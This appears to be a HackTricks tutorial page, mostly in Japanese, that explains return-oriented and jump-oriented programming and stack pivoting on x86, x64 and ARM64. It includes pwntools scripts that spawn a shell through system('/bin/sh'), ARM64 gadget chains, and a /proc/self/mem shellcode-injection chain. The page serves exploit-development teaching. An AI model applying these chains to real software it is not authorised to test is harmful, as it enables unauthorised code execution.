ROP & JOP

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

Return-Oriented Programming (ROP) は、No-Execute (NX)Data Execution Prevention (DEP) のようなセキュリティ対策を回避するために使われる高度なエクスプロイト技術です。シェルコードを注入して実行する代わりに、バイナリやロード済みライブラリに既に存在するコードの断片(“gadgets” と呼ばれる)を利用します。各 gadget は通常 ret 命令で終わり、レジスタ間のデータ移動や算術演算など小さい操作を行います。これらの gadgets をチェーンすることで、攻撃者は任意の操作を行うペイロードを構築し、NX/DEP 保護を事実上バイパスできます。

How ROP Works

  1. Control Flow Hijacking: まず、攻撃者は通常、バッファオーバーフロー (buffer overflow) を悪用してスタック上の saved return address を上書きすることで、プログラムの制御フローをハイジャックする必要があります。
  2. Gadget Chaining: 次に、攻撃者は目的の動作を実行するために慎重に gadgets を選択してチェーンします。これには関数呼び出しの引数をセットアップしたり、関数を呼び出したり(例: system("/bin/sh"))、必要なクリーンアップや追加操作を処理することが含まれます。
  3. Payload Execution: 脆弱な関数が return するとき、正当な場所に戻る代わりに gadgets のチェーンの実行が開始されます。

Tools

Typically, gadgets can be found using ROPgadget, ropper or directly from pwntools (ROP).

ROP Chain in x86 Example

x86 (32-bit) Calling conventions

  • cdecl: The caller cleans the stack. Function arguments are pushed onto the stack in reverse order (right-to-left). Arguments are pushed onto the stack from right to left.
  • stdcall: Similar to cdecl, but the callee is responsible for cleaning the stack.

Finding Gadgets

まず、バイナリやロード済みライブラリ内で必要な gadgets を特定したと仮定します。今回注目する gadgets は次のとおりです:

  • pop eax; ret: スタックのトップの値を EAX レジスタに pop し、その後 return する gadget。これにより EAX を制御できます。
  • pop ebx; ret: 上記と同様に EBX レジスタを制御するための gadget。
  • mov [ebx], eax; ret: EAX の値を EBX が指すメモリ位置へ移動し、その後 return する。これはしばしば write-what-where gadget と呼ばれます。
  • 加えて、system() 関数のアドレスが利用可能であるとします。

ROP Chain

Using pwntools, we prepare the stack for the ROP chain execution as follows aiming to execute system('/bin/sh'), note how the chain starts with:

  1. A ret instruction for alignment purposes (optional)
  2. Address of system function (supposing ASLR disabled and known libc, more info in Ret2lib)
  3. Placeholder for the return address from system()
  4. "/bin/sh" string address (parameter for system function)
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

x64 における ROP Chain の例

x64 (64-bit) の呼び出し規約

  • Unix系システムでは System V AMD64 ABI の呼び出し規約を使用し、最初の6つの整数またはポインタ引数はレジスタ RDI, RSI, RDX, RCX, R8, R9 に渡されます。追加の引数はスタック経由で渡されます。戻り値は RAX に格納されます。
  • Windows x64 の呼び出し規約では、最初の4つの整数またはポインタ引数は RCX, RDX, R8, R9 が使われ、追加引数はスタックで渡されます。戻り値は RAX に置かれます。
  • Registers: 64ビットレジスタには RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP, および R8 から R15 が含まれます。

Finding Gadgets

ここでは、RDI レジスタを設定でき(system() に引数として “/bin/sh” を渡すため)、その後 system() を呼び出せる gadgets に注目します。次の gadgets を特定したと仮定します:

  • pop rdi; ret: スタックの先頭値を RDI にポップしてからリターンします。system() の引数を設定するために必須です。
  • ret: 単純な return 命令で、特定の状況でスタックアラインメントに役立ちます。

また、system() 関数のアドレスがわかっているものとします。

ROP Chain

以下は pwntools を使用して x64 上で system(‘/bin/sh’) を実行することを目的とした ROP chain を組み立て実行する例です:

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

この例では:

  • We utilize the pop rdi; ret gadget to set RDI to the address of "/bin/sh".
  • We directly jump to system() after setting RDI, with system()’s address in the chain.
  • ret_gadget is used for alignment if the target environment requires it, which is more common in x64 to ensure proper stack alignment before calling functions.

スタック整列

The x86-64 ABIcall instruction が実行されるときに スタックが16バイト境界に整列 していることを保証します。LIBC は性能最適化のために SSE instructions(例: movaps)を使用し、これらはこの整列を要求します。もしスタックが適切に整列されていない(RSP が16の倍数になっていない)と、ROP chain 内で system のような関数呼び出しが失敗します。これを修正するには、ROPチェーンで system を呼ぶ前に ret gadget を追加してください。

x86 と x64 の主な違い

Tip

x64 は最初の数個の引数にレジスタを使用するため、 単純な関数呼び出しでは x86 より少ないガジェットで済むことが多いですが、レジスタ数の増加とアドレス空間の拡大により、適切なガジェットを見つけてチェーンすることはより複雑になる場合があります。x64 アーキテクチャにおけるレジスタ数の増加とアドレス空間の拡大は、Return-Oriented Programming (ROP) の文脈では特に、エクスプロイト作成において機会と課題の両方をもたらします。

ARM64 における ROP チェーン

Regarding ARM64 Basics & Calling conventions, check the following page for this information:

Introduction to ARM64v8

[!DANGER] It’s important to notice taht when jumping to a function using a ROP in ARM64 you should jump to the 2nd instruction of the funciton (at least) to prevent storing in the stack the current stack pointer and end up in an eternal loop calling the funciton once and again.

system Dylds におけるガジェットの探索

The system libraries comes compiled in one single file called dyld_shared_cache_arm64. This file contains all the system libraries in a compressed format. To download this file from the mobile device you can do:

scp [-J <domain>] root@10.11.1.1:/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 .
# -Use -J if connecting through Corellium via Quick Connect

次に、dyld_shared_cache_arm64 ファイルから実際のライブラリを抽出するために、いくつかのツールを使用できます:

brew install keith/formulae/dyld-shared-cache-extractor
dyld-shared-cache-extractor dyld_shared_cache_arm64 dyld_extracted

さて、あなたがエクスプロイトしている binary のために興味深い gadgets を見つけるには、まずその binary にロードされているライブラリを把握する必要があります。これには lldb* を使用できます:

lldb ./vuln
br s -n main
run
image list

最後に、興味のあるライブラリ内のgadgetsを見つけるためにRopperを使用できます:

# Install
python3 -m pip install ropper --break-system-packages
ropper --file libcache.dylib --search "mov x0"

JOP - Jump Oriented Programming

JOPはROPに似た手法ですが、各gadgetはその末尾でRET命令を使うのではなく、jump addressesを使用します。これは、使用可能なgadgetが存在しないなど、ROPが実行不可能な状況で特に有用です。
これは、ret命令がx86/x64アーキテクチャほど一般的でないARMアーキテクチャでよく使われます。

JOP gadgetsを見つけるために**rop**ツールを使用することもできます。例えば:

cd usr/lib/system # (macOS or iOS) Let's check in these libs inside the dyld_shared_cache_arm64
ropper --file *.dylib --search "ldr x0, [x0" # Supposing x0 is pointing to the stack or heap and we control some space around there, we could search for Jop gadgets that load from x0

例を見てみましょう:

  • heap overflow that allows us to overwrite a function pointer があり、それは呼び出される function pointer が格納された heap にある。

  • x0 は、我々が制御する領域がある heap を指している。

  • 読み込まれた system libraries から次の gadgets が見つかる:

0x00000001800d1918: ldr x0, [x0, #0x20]; ldr x2, [x0, #0x30]; br x2;
0x00000001800e6e58: ldr x0, [x0, #0x20]; ldr x3, [x0, #0x10]; br x3;
  • 最初のgadgetを使って x0 に heapに保存された /bin/sh へのポインタをロードし、その後 x0 + 0x30 から x2system のアドレスをロードしてジャンプします。

Stack Pivot

Stack pivotingはexploitationで用いられる手法で、スタックポインタ(RSP in x64, SP in ARM64)を攻撃者が制御するメモリ領域、例えばheapやスタック上のbufferなどに向け替え、そこで攻撃者がpayload(通常はROP/JOP chain)を配置できるようにします。

Examples of Stack Pivoting chains:

  • 例(gadgetが1つだけ):
mov sp, x0; ldp x29, x30, [sp], #0x10; ret;

The `mov sp, x0` instruction sets the stack pointer to the value in `x0`, effectively pivoting the stack to a new location. The subsequent `ldp x29, x30, [sp], #0x10; ret;` instruction loads the frame pointer and return address from the new stack location and returns to the address in `x30`.
I found this gadget in libunwind.dylib
If x0 points to a heap you control, you can control the stack pointer and move the stack to the heap, and therefore you will control the stack.

0000001c61a9b9c:
ldr x16, [x0, #0xf8];    // Control x16
ldr x30, [x0, #0x100];   // Control x30
ldp x0, x1, [x0];        // Control x1
mov sp, x16;             // Control sp
ret;                     // ret will jump to x30, which we control

To use this gadget you could use in the heap something like:
<address of x0 to keep x0>     # ldp x0, x1, [x0]
<address of gadget>            # Let's suppose this is the overflowed pointer that allows to call the ROP chain
"A" * 0xe8 (0xf8-16)           # Fill until x0+0xf8
<address x0+16>                # Lets point SP to x0+16 to control the stack
<next gadget>                  # This will go into x30, which will be called with ret (so add of 2nd gadget)
  • 複数の gadgets の例:
// G1: Typical PAC epilogue that restores frame and returns
// (seen in many leaf/non-leaf functions)
G1:
ldp     x29, x30, [sp], #0x10     // restore FP/LR
autiasp                          // **PAC check on LR**
retab                            // **PAC-aware return**

// G2: Small helper that (dangerously) moves SP from FP
// (appears in some hand-written helpers / stubs; good to grep for)
G2:
mov     sp, x29                  // **pivot candidate**
ret

// G3: Reader on the new stack (common prologue/epilogue shape)
G3:
ldp     x0, x1, [sp], #0x10      // consume args from "new" stack
ret
G1:
stp x8, x1, [sp]  // Store at [sp] → value of x8 (attacker controlled) and at [sp+8] → value of x1 (attacker controlled)
ldr x8, [x0]      // Load x8 with the value at address x0 (controlled by attacker, address of G2)
blr x8            // Branch to the address in x8 (controlled by attacker)

G2:
ldp x29, x30, [sp], #0x10  // Loads x8 -> x29 and x1 -> x30. The value in x1 is the value for G3
ret
G3:
mov sp, x29       // Pivot the stack to the address in x29, which was x8, and was controlled by the attacker possible pointing to the heap
ret

Shellcode via /proc/self/mem (Embedded Linux)

すでに ROP chain を持っているが no RWX mappings の場合、代替策として /proc/self/mem を使って現在のプロセスに shellcodeを書き込み、そこにジャンプする方法がある。これは、デフォルト設定で /proc/self/mem が実行セグメントの書き込み保護を無視することがある Embedded Linux ターゲットで一般的です。

典型的なチェーンのアイデア:

fd = open("/proc/self/mem", O_RDWR);
lseek(fd, target_addr, SEEK_SET);   // e.g., a known RX mapping or code cave
write(fd, shellcode, shellcode_len);
((void(*)())target_addr)();         // ARM Thumb: jump to target_addr | 1

If preserving fd is hard, calling open() multiple times can make it feasible to guess the descriptor used for /proc/self/mem. On ARM Thumb targets, remember to set the low bit when branching (addr | 1).

ROP と JOP に対する防護

  • ASLR & PIE: これらの保護は、実行ごとに gadgets のアドレスが変わるため、ROP の利用を難しくする。
  • Stack Canaries: BOF の場合、リターンポインタを上書きして ROP チェインを悪用するには、保存された stack canary をバイパスする必要がある。
  • Lack of Gadgets: gadgets が十分に存在しない場合、ROP チェインを生成することはできない。

ROP ベースの手法

ROP は任意コードを実行するための単なる手法に過ぎない。ROP に基づいて、多くの Ret2XXX 技法が開発された:

  • Ret2lib: ROP を使って、ロード済みライブラリ内の任意の関数を任意のパラメータで呼び出す(通常は system('/bin/sh') のようなもの)。

Ret2lib

  • Ret2Syscall: ROP を使って syscall(例: execve)への呼び出しを準備し、任意のコマンドを実行させる。

Ret2syscall

  • EBP2Ret & EBP Chaining: 前者はフロー制御に EIP の代わりに EBP を悪用し、後者は Ret2lib に似ているが、この場合フローは主に EBP アドレスで制御される(ただし EIP の制御も必要になる)。

Stack Pivoting

その他の例と参考資料

References

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする